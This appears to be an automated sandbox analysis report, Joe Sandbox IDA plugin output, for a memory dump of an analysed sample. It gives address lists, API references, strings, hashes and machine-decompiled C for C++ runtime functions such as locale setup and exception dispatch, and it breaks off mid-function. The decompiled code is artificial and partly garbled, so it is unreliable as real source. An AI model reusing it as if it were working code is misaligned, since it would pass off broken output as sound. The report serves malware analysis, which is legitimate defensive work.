0x00408bd5
0x00408bd5
0x00408bd8
0x00408bdb
0x00408bde
0x00408c29
0x00408c2c
0x00408c33
0x00408c36
0x00408c3b
0x00408c3e
0x00408c42
0x00408c45
0x00408c4d
0x00408c50
0x00408c54
0x00408c57
0x00408cb9
0x00408cba
0x00408cbb
0x00408cc7
0x00408cd2
0x00408cd8
0x00408ce0
0x00408cea
0x00408c59
0x00408c59
0x00408c5b
0x00408c5c
0x00408c5d
0x00408c6b
0x00408c7c
0x00408c84
0x00408c87
0x00408c88
0x00408c8e
0x00408ca2
0x00408ca2
0x00408ca4
0x00408cac
0x00408cb6
0x00408c90
0x00408c90
0x00408c93
0x00408c96
0x00408c98
0x00408c9b
0x00408c9e
0x00000000
0x00408ca0
0x00408ca0
0x00000000
0x00408ca0
0x00408c9e
0x00408c8e
0x00408c57
0x00408bcf
0x00408bb8
0x00408a95
0x00408a95
0x00408a98
0x00408a9b
0x00408a9e
0x00408ae9
0x00408ae9
0x00408af0
0x00408af3
0x00408af6
0x00408af7
0x00408b48
0x00408b49
0x00408b4a
0x00408b4f
0x00408b5a
0x00408b5d
0x00408b62
0x00408b6a
0x00408af9
0x00408af9
0x00408afb
0x00408afc
0x00408afd
0x00408b02
0x00408b05
0x00408b0e
0x00408b0f
0x00408b12
0x00408b17
0x00408b1d
0x00408b31
0x00408b31
0x00408b33
0x00408b3b
0x00408b45
0x00408b1f
0x00408b1f
0x00408b22
0x00408b25
0x00408b27
0x00408b2a
0x00408b2d
0x00000000
0x00408b2f
0x00408b2f
0x00000000
0x00408b2f
0x00408b2d
0x00408b1d
0x00408af7
0x00408a8f
0x00408a78
0x00408a03
0x00408a03
0x00000000
0x00408a03
0x00408a01
0x004089f1
0x00000000
0x00408a0f
0x00408a0f
0x00408a16
0x00408a1d
0x00408a20
0x00408a23
0x00408a23
0x00000000
0x004089e0
0x00408980
0x00408980
0x00408983
0x00408987
0x0040898b
0x00408990
0x00408997
0x0040899a
0x00000000
0x0040899a
0x00408968
0x00408968
0x00000000
0x00408968
0x00408957
0x0040895d
0x00000000
0x0040895d
0x00408955
0x0040894b
0x0040893e
0x004087af
0x004087b4
0x004087b9
0x004087c0
0x004087c9
0x004087ce
0x004087d3
0x004087d6
0x004087d9
0x004087db
0x004087de
0x004087e3
0x004087e3
0x004087e6
0x004087e9
0x004087f0
0x004087f2
0x004087f5
0x004087fa
0x004087fa
0x004087fd
0x00408800
0x00408807
0x00408809
0x0040880c
0x00408811
0x00408811
0x00408814
0x00408817
0x0040881e
0x00408820
0x00408823
0x00408828
0x00408828
0x0040882b
0x0040882e
0x00408835
0x00408837
0x0040883a
0x0040883f
0x0040883f
0x00408842
0x00408845
0x0040884c
0x0040884e
0x00408851
0x00408856
0x00408856
0x0040885c
0x00408863
0x00408868
0x0040886c
0x00408870
0x0040887c
0x0040887f
0x00000000
0x0040887f
0x00408735
0x00408735
0x00000000
0x00408735
0x00408724
0x00408727
0x00000000
0x00408727
0x00408722
0x004086ec
0x004086ec
0x004086ef
0x004086f9
0x00408701
0x00408702
0x00408703
0x00408707
0x00408711
0x00408711
0x004086ea
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00408686
std::_Lockit::_Lockit.LIBCPMT ref: 004086A8
std::_Lockit::~_Lockit.LIBCPMT ref: 004086C8
std::_Lockit::~_Lockit.LIBCPMT ref: 004086EF
std::_Lockit::_Lockit.LIBCPMT ref: 00408768
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004087B4
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 004087CE
std::_Lockit::~_Lockit.LIBCPMT ref: 00408863
std::_Facet_Register.LIBCPMT ref: 00408870

Part of subcall function 00412430: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041243C

Strings

bad locale name, xrefs: 0040888A
Pr@, xrefs: 004087C0
tC, xrefs: 0040866F

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_$Facet_Locinfo_ctorLocinfo_dtorRegisterstd::invalid_argument::invalid_argument
String ID: Pr@$bad locale name$tC
API String ID: 1592514138-2114825477
Opcode ID: 6665d8db48f19ea5e22cfe4d70d708fe82623e984989587617606452e5b48852
Instruction ID: ce6ce3d53a677cd5d734712daaf5797b23b25a8e7ecebb72da1bad7b0cdab8cd
Opcode Fuzzy Hash: 6665d8db48f19ea5e22cfe4d70d708fe82623e984989587617606452e5b48852
Instruction Fuzzy Hash: B961ADB5D00208DFDB10DFA5DA45BDEBBB4AF14314F14442EE845B7381EB78A948CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408E80 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 194
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00408E80(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				short _v36;
				char _v40;
				short _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				intOrPtr* _v76;
				intOrPtr* _v80;
				intOrPtr _v84;
				char _v128;
				char _v172;
				signed int _t60;
				intOrPtr* _t63;
				intOrPtr _t66;
				void* _t72;
				char* _t82;
				intOrPtr _t84;
				short _t85;
				char _t87;
				char _t88;
				intOrPtr* _t108;
				intOrPtr* _t109;
				void* _t111;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr* _t118;
				signed int _t122;
				void* _t123;
				void* _t125;
				void* _t126;
				void* _t127;
				void* _t128;
				void* _t129;

				_t105 = __ebx;
				_push(0xffffffff);
				_push(0x431cf5);
				_push( *[fs:0x0]);
				_t123 = _t122 - 0x9c;
				_push(__esi);
				_push(__edi);
				_t60 =  *0x443048; // 0x7239e5fc
				_push(_t60 ^ _t122);
				 *[fs:0x0] =  &_v16;
				_t63 = _a4;
				_t113 = _a8;
				_v76 = _t63;
				_v72 = 0;
				if(_t63 == 0) {
					L23:
					 *[fs:0x0] = _v16;
					return 4;
				} else {
					_t132 =  *_t63;
					if( *_t63 != 0) {
						goto L23;
					} else {
						_t118 = E0041362C(__ebx, _t113, __esi, _t132, 0x18);
						_t125 = _t123 + 4;
						_v80 = _t118;
						_v8 = 0;
						asm("xorps xmm0, xmm0");
						asm("movups [esi], xmm0");
						asm("movq [esi+0x10], xmm0");
						_t8 = _t113 + 4; // 0x0
						_t66 =  *_t8;
						if(_t66 == 0) {
							_t115 = 0x43e90c;
						} else {
							_t115 =  *((intOrPtr*)(_t66 + 0x18));
							if(_t115 == 0) {
								_t10 = _t66 + 0x1c; // 0x1c
								_t115 = _t10;
							}
						}
						_t108 =  &_v68;
						E0041247D(_t108, 0);
						_v64 = 0;
						_v60 = 0;
						_v56 = 0;
						_v52 = 0;
						_v48 = 0;
						_v44 = 0;
						_v40 = 0;
						_v36 = 0;
						_v32 = 0;
						_v28 = 0;
						_v24 = 0;
						_v20 = 0;
						_v8 = 7;
						_t135 = _t115;
						if(_t115 == 0) {
							E00412430("bad locale name");
							goto L25;
						} else {
							E00412760(_t108,  &_v68, _t115);
							_v72 = 1;
							 *((intOrPtr*)(_t118 + 4)) = 0;
							_v8 = 9;
							 *_t118 = 0x434448;
							E0041A69B(_t111, _t118);
							E00412BB1(_t135,  &_v128);
							 *((intOrPtr*)(_t118 + 8)) = 0;
							 *((intOrPtr*)(_t118 + 0x10)) = 0;
							 *((intOrPtr*)(_t118 + 0x14)) = 0;
							_v84 = _t118;
							_v8 = 0xa;
							E00412BB1(_t135,  &_v172);
							_push(1);
							_push(1);
							_t82 = E0041823E();
							_t126 = _t125 + 0x18;
							if(_t82 == 0) {
								L25:
								E004123B3(_t105, __eflags);
								goto L26;
							} else {
								_push(1);
								_push(6);
								 *_t82 = 0;
								 *((intOrPtr*)(_t118 + 8)) = _t82;
								_t108 = E0041823E();
								_t127 = _t126 + 8;
								if(_t108 == 0) {
									L26:
									E004123B3(_t105, __eflags);
									goto L27;
								} else {
									_t84 =  *((intOrPtr*)("false")); // 0x736c6166
									 *_t108 = _t84;
									_t85 =  *0x43e944; // 0x65
									_push(1);
									_push(5);
									 *((short*)(_t108 + 4)) = _t85;
									 *((intOrPtr*)(_t118 + 0x10)) = _t108;
									_t108 = E0041823E();
									_t128 = _t127 + 8;
									if(_t108 == 0) {
										L27:
										_t72 = E004123B3(_t105, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_t109 =  *_t108;
										__eflags = _t109;
										if(_t109 != 0) {
											return  *((intOrPtr*)( *_t109))(1);
										}
										return _t72;
									} else {
										_t87 = "true"; // 0x65757274
										 *_t108 = _t87;
										_t88 =  *0x43e94c; // 0x0
										 *((char*)(_t108 + 4)) = _t88;
										 *((intOrPtr*)(_t118 + 0x14)) = _t108;
										 *((short*)(_t118 + 0xc)) = 0x2c2e;
										 *_v76 = _t118;
										_v8 = 0xc;
										E004127AB(_t108,  &_v68);
										_t92 = _v24;
										_t129 = _t128 + 4;
										if(_v24 != 0) {
											E0041AC1E(_t92);
											_t129 = _t129 + 4;
										}
										_t93 = _v32;
										_v24 = 0;
										if(_v32 != 0) {
											E0041AC1E(_t93);
											_t129 = _t129 + 4;
										}
										_t94 = _v40;
										_v32 = 0;
										if(_v40 != 0) {
											E0041AC1E(_t94);
											_t129 = _t129 + 4;
										}
										_t95 = _v48;
										_v40 = 0;
										if(_v48 != 0) {
											E0041AC1E(_t95);
											_t129 = _t129 + 4;
										}
										_t96 = _v56;
										_v48 = 0;
										if(_v56 != 0) {
											E0041AC1E(_t96);
											_t129 = _t129 + 4;
										}
										_t97 = _v64;
										_v56 = 0;
										if(_v64 != 0) {
											E0041AC1E(_t97);
										}
										_v64 = 0;
										E004124D5( &_v68);
										goto L23;
									}
								}
							}
						}
					}
				}
			}

0x00408e80
0x00408e83
0x00408e85
0x00408e90
0x00408e91
0x00408e97
0x00408e98
0x00408e99
0x00408ea0
0x00408ea4
0x00408eaa
0x00408ead
0x00408eb0
0x00408eb3
0x00408ebc
0x004090c7
0x004090cf
0x004090dc
0x00408ec2
0x00408ec2
0x00408ec5
0x00000000
0x00408ecb
0x00408ed2
0x00408ed4
0x00408ed7
0x00408eda
0x00408ee1
0x00408ee4
0x00408ee7
0x00408eec
0x00408eec
0x00408ef1
0x00408eff
0x00408ef3
0x00408ef3
0x00408ef8
0x00408efa
0x00408efa
0x00408efa
0x00408ef8
0x00408f06
0x00408f09
0x00408f0e
0x00408f15
0x00408f19
0x00408f20
0x00408f26
0x00408f2d
0x00408f31
0x00408f34
0x00408f38
0x00408f3b
0x00408f3e
0x00408f41
0x00408f44
0x00408f48
0x00408f4a
0x004090e2
0x00000000
0x00408f50
0x00408f55
0x00408f5a
0x00408f61
0x00408f68
0x00408f6f
0x00408f75
0x00408f7e
0x00408f83
0x00408f8a
0x00408f91
0x00408f98
0x00408fa1
0x00408fa6
0x00408fab
0x00408fad
0x00408faf
0x00408fb4
0x00408fb9
0x004090e7
0x004090e7
0x00000000
0x00408fbf
0x00408fbf
0x00408fc1
0x00408fc3
0x00408fc6
0x00408fce
0x00408fd0
0x00408fd5
0x004090ec
0x004090ec
0x00000000
0x00408fdb
0x00408fdb
0x00408fe0
0x00408fe2
0x00408fe8
0x00408fea
0x00408fec
0x00408ff0
0x00408ff8
0x00408ffa
0x00408fff
0x004090f1
0x004090f1
0x004090f6
0x004090f7
0x004090f8
0x004090f9
0x004090fa
0x004090fb
0x004090fc
0x004090fd
0x004090fe
0x004090ff
0x00409100
0x00409102
0x00409104
0x00000000
0x0040910a
0x0040910c
0x00409005
0x00409005
0x0040900a
0x0040900c
0x00409011
0x00409014
0x00409017
0x00409020
0x00409025
0x0040902d
0x00409032
0x00409035
0x0040903a
0x0040903d
0x00409042
0x00409042
0x00409045
0x00409048
0x00409051
0x00409054
0x00409059
0x00409059
0x0040905c
0x0040905f
0x00409068
0x0040906b
0x00409070
0x00409070
0x00409073
0x00409076
0x0040907f
0x00409082
0x00409087
0x00409087
0x0040908a
0x0040908d
0x00409096
0x00409099
0x0040909e
0x0040909e
0x004090a1
0x004090a4
0x004090ad
0x004090b0
0x004090b5
0x004090bb
0x004090c2
0x00000000
0x004090c2
0x00408fff
0x00408fd5
0x00408fb9
0x00408f4a
0x00408ec5

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00408F09
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00408F55
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0040902D
std::_Lockit::~_Lockit.LIBCPMT ref: 004090C2
Concurrency::cancel_current_task.LIBCPMT ref: 004090E7
Concurrency::cancel_current_task.LIBCPMT ref: 004090EC
Concurrency::cancel_current_task.LIBCPMT ref: 004090F1

Strings

true, xrefs: 00409005
bad locale name, xrefs: 004090DD
false, xrefs: 00408FDB

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: std::_$Concurrency::cancel_current_task$Locinfo::_Lockit$Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 3559308103-1062449267
Opcode ID: 478219141b80ce84f0c68b9b521677dd0593b564faaa7bf4f2cfddecf412524e
Instruction ID: 972b579e4d9e21fa5c226694c29b24cba1ae6b4f551020a53e3f72307f06c12f
Opcode Fuzzy Hash: 478219141b80ce84f0c68b9b521677dd0593b564faaa7bf4f2cfddecf412524e
Instruction Fuzzy Hash: 56716EB0D01344DBEB20DFA5C9457DEBBB4AF14304F14406EE855E7382EBB99A44CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0042F09D Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,00430BBF), ref: 0042F0B6

Strings

asin, xrefs: 0042F1E3
exp, xrefs: 0042F135, 0042F19A
sqrt, xrefs: 0042F1F5
0'@, xrefs: 0042F180, 0042F22A, 0042F270
log10, xrefs: 0042F0F8, 0042F107
pow, xrefs: 0042F154, 0042F1FE, 0042F24B
acos, xrefs: 0042F1EC
log, xrefs: 0042F113, 0042F122

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: DecodePointer
String ID: 0'@$acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-2229507274
Opcode ID: db2c04113a97bc1cb04e4bd5854b1a10a94eac1545050b31a86fc317bb892a2a
Instruction ID: 243476001b44ac5449d8f3229298061633b823db50f8ef1809aa2f86a7d9650d
Opcode Fuzzy Hash: db2c04113a97bc1cb04e4bd5854b1a10a94eac1545050b31a86fc317bb892a2a
Instruction Fuzzy Hash: 79519D75A0412ADBDF148F98F8481BE7BB4FF4A300FD141B6D490A6354CB798929CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00416D6A Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E00416D6A(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t201;
				signed int _t202;
				char _t203;
				signed int _t205;
				signed int _t207;
				signed char* _t208;
				signed int _t209;
				signed int _t210;
				signed int _t214;
				void* _t217;
				signed char* _t220;
				void* _t222;
				void* _t224;
				signed char _t228;
				signed int _t229;
				void* _t231;
				void* _t234;
				void* _t237;
				signed int _t247;
				void* _t250;
				intOrPtr* _t251;
				signed int _t252;
				intOrPtr _t253;
				signed int _t254;
				void* _t259;
				void* _t264;
				void* _t265;
				signed int _t269;
				signed char* _t270;
				intOrPtr* _t271;
				signed char _t272;
				signed int _t273;
				signed int _t274;
				intOrPtr* _t276;
				signed int _t277;
				signed int _t278;
				signed int _t283;
				signed int _t290;
				signed int _t291;
				signed int _t294;
				signed int _t296;
				signed char* _t297;
				signed int _t298;
				signed char _t299;
				signed int* _t301;
				signed char* _t304;
				signed int _t314;
				signed int _t315;
				signed int _t317;
				signed int _t327;
				void* _t329;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;

				_t296 = __edx;
				_push(_t315);
				_t301 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t275 = E00417CE0(_a8, _a16, _t301);
				_t332 = _t331 + 0xc;
				_v12 = _t275;
				if(_t275 < 0xffffffff || _t275 >= _t301[1]) {
					L67:
					_t201 = E0041D1C9(_t270, _t275, _t296, _t301, _t315);
					asm("int3");
					_t329 = _t332;
					_t333 = _t332 - 0x38;
					_push(_t270);
					_t271 = _v112;
					__eflags =  *_t271 - 0x80000003;
					if( *_t271 == 0x80000003) {
						return _t201;
					} else {
						_t202 = E004169EE(_t271, _t275, _t296, _t301, _t315, _t301, _t315);
						__eflags =  *(_t202 + 8);
						if( *(_t202 + 8) != 0) {
							__imp__EncodePointer(0);
							_t315 = _t202;
							_t222 = E004169EE(_t271, _t275, _t296, 0, _t315);
							__eflags =  *((intOrPtr*)(_t222 + 8)) - _t315;
							if( *((intOrPtr*)(_t222 + 8)) != _t315) {
								__eflags =  *_t271 - 0xe0434f4d;
								if( *_t271 != 0xe0434f4d) {
									__eflags =  *_t271 - 0xe0434352;
									if( *_t271 != 0xe0434352) {
										_t214 = E00414348(_t296, 0, _t315, _t271, _a4, _a8, _a12, _a16, _a24, _a28);
										_t333 = _t333 + 0x1c;
										__eflags = _t214;
										if(_t214 != 0) {
											L84:
											return _t214;
										}
									}
								}
							}
						}
						_t203 = _a16;
						_v28 = _t203;
						_v24 = 0;
						__eflags =  *(_t203 + 0xc);
						if( *(_t203 + 0xc) > 0) {
							_push(_a24);
							E0041427B(_t271, _t275, 0, _t315,  &_v44,  &_v28, _a20, _a12, _t203);
							_t298 = _v40;
							_t334 = _t333 + 0x18;
							_t214 = _v44;
							_v20 = _t214;
							_v12 = _t298;
							__eflags = _t298 - _v32;
							if(_t298 >= _v32) {
								goto L84;
							}
							_t277 = _t298 * 0x14;
							__eflags = _t277;
							_v16 = _t277;
							do {
								_t278 = 5;
								_t217 = memcpy( &_v64,  *((intOrPtr*)( *_t214 + 0x10)) + _t277, _t278 << 2);
								_t334 = _t334 + 0xc;
								__eflags = _v64 - _t217;
								if(_v64 > _t217) {
									goto L83;
								}
								__eflags = _t217 - _v60;
								if(_t217 > _v60) {
									goto L83;
								}
								_t220 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t283 = _t220[4];
								__eflags = _t283;
								if(_t283 == 0) {
									L81:
									__eflags =  *_t220 & 0x00000040;
									if(( *_t220 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E00416CEA(_t298, _t271, _a4, _a8, _a12, _a16, _t220, 0,  &_v64, _a24, _a28);
										_t298 = _v12;
										_t334 = _t334 + 0x30;
									}
									goto L83;
								}
								__eflags =  *((char*)(_t283 + 8));
								if( *((char*)(_t283 + 8)) != 0) {
									goto L83;
								}
								goto L81;
								L83:
								_t298 = _t298 + 1;
								_t214 = _v20;
								_t277 = _v16 + 0x14;
								_v12 = _t298;
								_v16 = _t277;
								__eflags = _t298 - _v32;
							} while (_t298 < _v32);
							goto L84;
						}
						E0041D1C9(_t271, _t275, _t296, 0, _t315);
						asm("int3");
						_push(_t329);
						_t297 = _v184;
						_push(_t271);
						_push(_t315);
						_push(0);
						_t205 = _t297[4];
						__eflags = _t205;
						if(_t205 == 0) {
							L109:
							_t207 = 1;
							__eflags = 1;
						} else {
							_t276 = _t205 + 8;
							__eflags =  *_t276;
							if( *_t276 == 0) {
								goto L109;
							} else {
								__eflags =  *_t297 & 0x00000080;
								_t304 = _v0;
								if(( *_t297 & 0x00000080) == 0) {
									L91:
									_t272 = _t304[4];
									_t317 = 0;
									__eflags = _t205 - _t272;
									if(_t205 == _t272) {
										L101:
										__eflags =  *_t304 & 0x00000002;
										if(( *_t304 & 0x00000002) == 0) {
											L103:
											_t208 = _a4;
											__eflags =  *_t208 & 0x00000001;
											if(( *_t208 & 0x00000001) == 0) {
												L105:
												__eflags =  *_t208 & 0x00000002;
												if(( *_t208 & 0x00000002) == 0) {
													L107:
													_t317 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t297 & 0x00000002;
													if(( *_t297 & 0x00000002) != 0) {
														goto L107;
													}
												}
											} else {
												__eflags =  *_t297 & 0x00000001;
												if(( *_t297 & 0x00000001) != 0) {
													goto L105;
												}
											}
										} else {
											__eflags =  *_t297 & 0x00000008;
											if(( *_t297 & 0x00000008) != 0) {
												goto L103;
											}
										}
										_t207 = _t317;
									} else {
										_t209 = _t272 + 8;
										while(1) {
											_t273 =  *_t276;
											__eflags = _t273 -  *_t209;
											if(_t273 !=  *_t209) {
												break;
											}
											__eflags = _t273;
											if(_t273 == 0) {
												L97:
												_t210 = _t317;
											} else {
												_t274 =  *((intOrPtr*)(_t276 + 1));
												__eflags = _t274 -  *((intOrPtr*)(_t209 + 1));
												if(_t274 !=  *((intOrPtr*)(_t209 + 1))) {
													break;
												} else {
													_t276 = _t276 + 2;
													_t209 = _t209 + 2;
													__eflags = _t274;
													if(_t274 != 0) {
														continue;
													} else {
														goto L97;
													}
												}
											}
											L99:
											__eflags = _t210;
											if(_t210 == 0) {
												goto L101;
											} else {
												_t207 = 0;
											}
											goto L110;
										}
										asm("sbb eax, eax");
										_t210 = _t209 | 0x00000001;
										__eflags = _t210;
										goto L99;
									}
								} else {
									__eflags =  *_t304 & 0x00000010;
									if(( *_t304 & 0x00000010) != 0) {
										goto L109;
									} else {
										goto L91;
									}
								}
							}
						}
						L110:
						return _t207;
					}
				} else {
					_t270 = _a4;
					if( *_t270 != 0xe06d7363 || _t270[0x10] != 3 || _t270[0x14] != 0x19930520 && _t270[0x14] != 0x19930521 && _t270[0x14] != 0x19930522) {
						L22:
						_t296 = _a12;
						_v8 = _t296;
						goto L24;
					} else {
						_t315 = 0;
						if(_t270[0x1c] != 0) {
							goto L22;
						} else {
							_t224 = E004169EE(_t270, _t275, _t296, _t301, 0);
							if( *((intOrPtr*)(_t224 + 0x10)) == 0) {
								L61:
								return _t224;
							} else {
								_t270 =  *(E004169EE(_t270, _t275, _t296, _t301, 0) + 0x10);
								_t259 = E004169EE(_t270, _t275, _t296, _t301, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t259 + 0x14));
								if(_t270 == 0 ||  *_t270 == 0xe06d7363 && _t270[0x10] == 3 && (_t270[0x14] == 0x19930520 || _t270[0x14] == 0x19930521 || _t270[0x14] == 0x19930522) && _t270[0x1c] == _t315) {
									goto L67;
								} else {
									if( *((intOrPtr*)(E004169EE(_t270, _t275, _t296, _t301, _t315) + 0x1c)) == _t315) {
										L23:
										_t296 = _v8;
										_t275 = _v12;
										L24:
										_v52 = _t301;
										_v48 = 0;
										__eflags =  *_t270 - 0xe06d7363;
										if( *_t270 != 0xe06d7363) {
											L57:
											__eflags = _t301[3];
											if(_t301[3] <= 0) {
												goto L60;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L67;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t275);
													_push(_t301);
													_push(_a16);
													_push(_t296);
													_push(_a8);
													_push(_t270);
													L68();
													_t332 = _t332 + 0x20;
													goto L60;
												}
											}
										} else {
											__eflags = _t270[0x10] - 3;
											if(_t270[0x10] != 3) {
												goto L57;
											} else {
												__eflags = _t270[0x14] - 0x19930520;
												if(_t270[0x14] == 0x19930520) {
													L29:
													_t315 = _a32;
													__eflags = _t301[3];
													if(_t301[3] > 0) {
														_push(_a28);
														E0041427B(_t270, _t275, _t301, _t315,  &_v68,  &_v52, _t275, _a16, _t301);
														_t296 = _v64;
														_t332 = _t332 + 0x18;
														_t247 = _v68;
														_v44 = _t247;
														_v16 = _t296;
														__eflags = _t296 - _v56;
														if(_t296 < _v56) {
															_t290 = _t296 * 0x14;
															__eflags = _t290;
															_v32 = _t290;
															do {
																_t291 = 5;
																_t250 = memcpy( &_v104,  *((intOrPtr*)( *_t247 + 0x10)) + _t290, _t291 << 2);
																_t332 = _t332 + 0xc;
																__eflags = _v104 - _t250;
																if(_v104 <= _t250) {
																	__eflags = _t250 - _v100;
																	if(_t250 <= _v100) {
																		_t294 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t299 = _t270[0x1c];
																			_t251 =  *((intOrPtr*)(_t299 + 0xc));
																			_t252 = _t251 + 4;
																			__eflags = _t252;
																			_v36 = _t252;
																			_t253 = _v88;
																			_v40 =  *_t251;
																			_v24 = _t253;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t327 = _v40;
																				_t314 = _v36;
																				__eflags = _t327;
																				if(_t327 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t299);
																						_push( *_t314);
																						_t254 =  &_v84;
																						_push(_t254);
																						L87();
																						_t332 = _t332 + 0xc;
																						__eflags = _t254;
																						if(_t254 != 0) {
																							break;
																						}
																						_t299 = _t270[0x1c];
																						_t327 = _t327 - 1;
																						_t314 = _t314 + 4;
																						__eflags = _t327;
																						if(_t327 > 0) {
																							continue;
																						} else {
																							_t294 = _v20;
																							_t253 = _v24;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E00416CEA(_t299, _t270, _a8, _v8, _a16, _a20,  &_v84,  *_t314,  &_v104, _a28, _a32);
																					_t332 = _t332 + 0x30;
																				}
																				L43:
																				_t296 = _v16;
																				goto L44;
																				L40:
																				_t294 = _t294 + 1;
																				_t253 = _t253 + 0x10;
																				_v20 = _t294;
																				_v24 = _t253;
																				__eflags = _t294 - _v92;
																			} while (_t294 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t296 = _t296 + 1;
																_t247 = _v44;
																_t290 = _v32 + 0x14;
																_v16 = _t296;
																_v32 = _t290;
																__eflags = _t296 - _v56;
															} while (_t296 < _v56);
															_t301 = _a20;
															_t315 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E004146B3(_t270, _t301, _t315, __eflags);
														_t275 = _t270;
													}
													__eflags = ( *_t301 & 0x1fffffff) - 0x19930521;
													if(( *_t301 & 0x1fffffff) < 0x19930521) {
														L60:
														_t224 = E004169EE(_t270, _t275, _t296, _t301, _t315);
														__eflags =  *(_t224 + 0x1c);
														if( *(_t224 + 0x1c) != 0) {
															goto L67;
														} else {
															goto L61;
														}
													} else {
														_t228 = _t301[8] >> 2;
														__eflags = _t301[7];
														if(_t301[7] != 0) {
															__eflags = _t228 & 0x00000001;
															if((_t228 & 0x00000001) == 0) {
																_push(_t301[7]);
																_t229 = E00417788(_t270, _t301, _t315, _t270);
																_pop(_t275);
																__eflags = _t229;
																if(_t229 == 0) {
																	goto L64;
																} else {
																	goto L60;
																}
															} else {
																goto L54;
															}
														} else {
															__eflags = _t228 & 0x00000001;
															if((_t228 & 0x00000001) == 0) {
																goto L60;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L60;
																} else {
																	L54:
																	 *(E004169EE(_t270, _t275, _t296, _t301, _t315) + 0x10) = _t270;
																	_t237 = E004169EE(_t270, _t275, _t296, _t301, _t315);
																	_t286 = _v8;
																	 *((intOrPtr*)(_t237 + 0x14)) = _v8;
																	goto L62;
																}
															}
														}
													}
												} else {
													__eflags = _t270[0x14] - 0x19930521;
													if(_t270[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t270[0x14] - 0x19930522;
														if(_t270[0x14] != 0x19930522) {
															goto L57;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E004169EE(_t270, _t275, _t296, _t301, _t315) + 0x1c));
										_t264 = E004169EE(_t270, _t275, _t296, _t301, _t315);
										_push(_v16);
										 *(_t264 + 0x1c) = _t315;
										_t265 = E00417788(_t270, _t301, _t315, _t270);
										_pop(_t286);
										if(_t265 != 0) {
											goto L23;
										} else {
											_t301 = _v16;
											_t353 =  *_t301 - _t315;
											if( *_t301 <= _t315) {
												L62:
												E004200AB(_t270, _t286, _t296, _t301, _t315, __eflags);
											} else {
												while(1) {
													_t286 =  *((intOrPtr*)(_t315 + _t301[1] + 4));
													if(E00417411( *((intOrPtr*)(_t315 + _t301[1] + 4)), _t353, 0x443ba4) != 0) {
														goto L63;
													}
													_t315 = _t315 + 0x10;
													_t269 = _v20 + 1;
													_v20 = _t269;
													_t353 = _t269 -  *_t301;
													if(_t269 >=  *_t301) {
														goto L62;
													} else {
														continue;
													}
													goto L63;
												}
											}
											L63:
											_push(1);
											_push(_t270);
